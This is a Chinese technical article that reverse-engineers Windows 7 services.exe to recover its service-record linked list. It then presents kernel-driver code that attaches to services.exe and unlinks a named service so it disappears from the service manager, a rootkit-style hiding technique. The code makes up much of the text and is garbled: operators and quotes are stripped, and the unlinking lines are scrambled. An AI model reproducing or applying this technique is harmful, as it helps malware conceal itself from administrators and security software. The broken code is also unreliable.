对于驱动下服务的隐藏,网上有很多代码,但大多未涉及任何原理的讲解,且代码开发于Windows2003/XP时代,对Windows7系统并不兼容,这也是我研究并写下这篇文章的原因。
本文通过逆向工程逐步明晰并试图还原系统对服务进行管理的足够细节,最终代码实现驱动层面下对指定服务的隐藏。选取的研究对象为Windows7professional32位中文版,相信在耐心阅读完本文之后,有能力对其他版本进行类似分析并知晓其原理。
另外,文中涉及的基础知识我尽量顾及,未涉及到的请大家谅解。
选定目标:静态逆向分析services.exe
Services.exe
进程名称:WindowsServiceController
描述:services.exe是微软Windows操作系统的一部分,用于管理启动和停止服务。该进程也会处理在计算机启动和关机时运行的服务。既然是用于管理服务的关键进程,我们就通过逆向一探究竟,先进行静态逆向分析,工具为IDA。
1)逆向进度main-SvcctrlMain
函数入口很简洁,我们继续深入SvcctrlMain,内部代码迅速复杂起来,都是诸如ScInit***的函数,从名称上看,主要进行一些初始化工作,最终如图1所示的函数引起了我的注意。
ScInitDataBase,用于初始化数据库。根据经验,猜测系统在启动/停止服务的过程中,会相应修改对应的内存结构,按照常规,链表是最有可能的数据结构形式。下面继续跟进,如图2所示。
2)逆向进度main-SvcctrlMain-ScInitDataBase这里都是一些关键变量的初始化,在对dword_10371B8的调用关系中,我发现了函数ScGetNamedServiceRecord,继续跟进!如图3所示。
3)逆向进度main-SvcctrlMain-ScInitDataBase,交叉引用ScGetNamedServiceRecord
如图4所示,这是一个for循环遍历结构,有经验的可以看出来,这是一个遍历单项链表结构,遍历的起点为dword_10371B8,遍历的终止条件为指向下一个数据结构的指针为零(具体偏移为24个DWORD长度,96个字节=0x60字节);同时也可以找到本数据结构的一个指针偏移位置(即四字节偏移处,指向这个wchar字串,我有理由猜测它指向某一个服务名)。现在,我们可以搭建出初步的数据结构了,代码如下。
#pragmawarning(push) typedefstruct_SERVICE_RECORD{ DWORD WCHAR* char Unknown; Lp_WideServiceName; unknown1[0x58]; struct_SERVICE_RECORD*pNextServiceRecord; }SERVICE_RECORD,*PSERVICE_RECORD; #pragmawarning(pop)
其下一项链表指向为0x00990878,如图6所示。
其wchar指针指向0x990904,如图7所示,最终指向360AntiHacker服务。
最后,经过多次求证,修正后的数据结构如下。
#pragmawarning(push) typedefstruct_SERVICE_RECORD{ struct_SERVICE_RECORD*pPrevServiceRecord; WCHAR* char Lp_WideServiceName; unknown1[0x58]; struct_SERVICE_RECORD*pNextServiceRecord; }SERVICE_RECORD,*PSERVICE_RECORD; #pragmawarning(pop)
至此,services进程与服务的对应数据结构就清楚了:一个双向链表的数据结构,表头位于.data段的0x1b8偏移。
走向现实:驱动隐藏服务的实现有了具体原理,我们就能实现相关的代码,大致思路为进入services进程空间,定位链表结构,遍历得到指定服务对应的数据结构,断开此处双向链表,核心代码如下,具体的代码及逆向IDB文件参考随文提供的文件。
////////////遍历寻找services.exeeprocess结构/////////// eproc=(DWORD)PsGetCurrentProcess();//得到当前进程的eprocess结构 start_PID=*((DWORD*)(eproc+PIDOFFSET)); current_PID=start_PID; while(1) { if(eproc!=0x0000000¤t_PID!=4¤t_PID8) { Object=*(DWORD*)(eproc+HANDLETABLEOFFSET); if(Object!=NULL) { GetProcessNameShort(ShortName,eproc); if(strstr(ShortName,services.exe)!=NULL) {//找到services.exe的erpocess结构 proc=(PEPROCESS)eproc; break; } } } if((i_count=1)(start_PID==current_PID)) { break; } else { //没有找到,遍历下一个进程 plist_active_procs=(LIST_ENTRY*)(eproc+FLINKOFFSET); eproc= (DWORD)plist_active_procs-Flink; eproc=eproc-FLINKOFFSET; current_PID=*((int*)(eproc+PIDOFFSET)); Object=*(DWORD*)(eproc+HANDLETABLEOFFSET); if(Object!=NULL) i_count++; } } ///////////////进入services.exe进程空间////////////////////// KeAttachProcess((PKPROCESS)proc); __try { rv=ZwQueryInformationProcess(NtCurrentProcess(),ProcessBasicInformation,pbi, sizeof(pbi),0); if(NT_SUCCESS(rv)) { PPEBpeb; PIMAGE_SECTION_HEADERdathdr; DWORDdsec; DWORDdsecsize,n; charfound; //获取services内存基地址 peb=pbi.PebBaseAddress; dathdr=FindModuleSectionHdr(peb-ImageBaseAddress,.data); //定位data段地址 dsec=dathdr-VirtualAddress+(PUCHAR)peb-ImageBaseAddress; found=FALSE; dsec+=SERVICERECORDOFFEST; //定位到管理服务信息的数据结构双向链表表头,遍历recptr=(PSERVICE_RECORD)*(DWORD*)dsec; while(1) { DbgPrint(name=%ws\n,recptr-Lp_WideServiceName); if (wcsncmp (recptr-Lp_WideServiceName, puServiceName-Buffer,puServiceName-Length2)==0) { DbgPrint(wefindtagetservice,hideit!\n); _asm { cli //dissableinterrupt } //断开双向链表 if(recptr-pNextServiceRecord) { recptr-pNextServiceRecord-pPreviousServiceRecord = recptr-pPreviousServiceRecord; recptr-pNextServiceRecord; } recptr-pPreviousServiceRecord-pNextServiceRecord = = //else //{ //recptr-pPreviousServiceRecord-pNextServiceRecord recptr-pNextServiceRecord; //} _asm { sti //enableinterrupt } //保留断开的链表信息,便于驱动卸载时恢复 hideServicedata.HiddenDataOriginalAddress=(DWORD)recptr; rv=STATUS_SUCCESS; KeDetachProcess(); ObDereferenceObject(proc); returnrv; } recptr=(PSERVICE_RECORD)recptr-pNextServiceRecord; if(!recptr)break; } } else { } }
最后的话
前面的逆向过程有一些跳跃,是经过我多次逆向后总结的结果,只是希望给大家一种借鉴,不严谨的地方请谅解。
代码最后虽然实现了,但还有一些瑕疵,比如定位该链表的偏移是硬编码,驱动卸载时,显示卸载失败等问题,望各位高手能够提出更好的解决方案。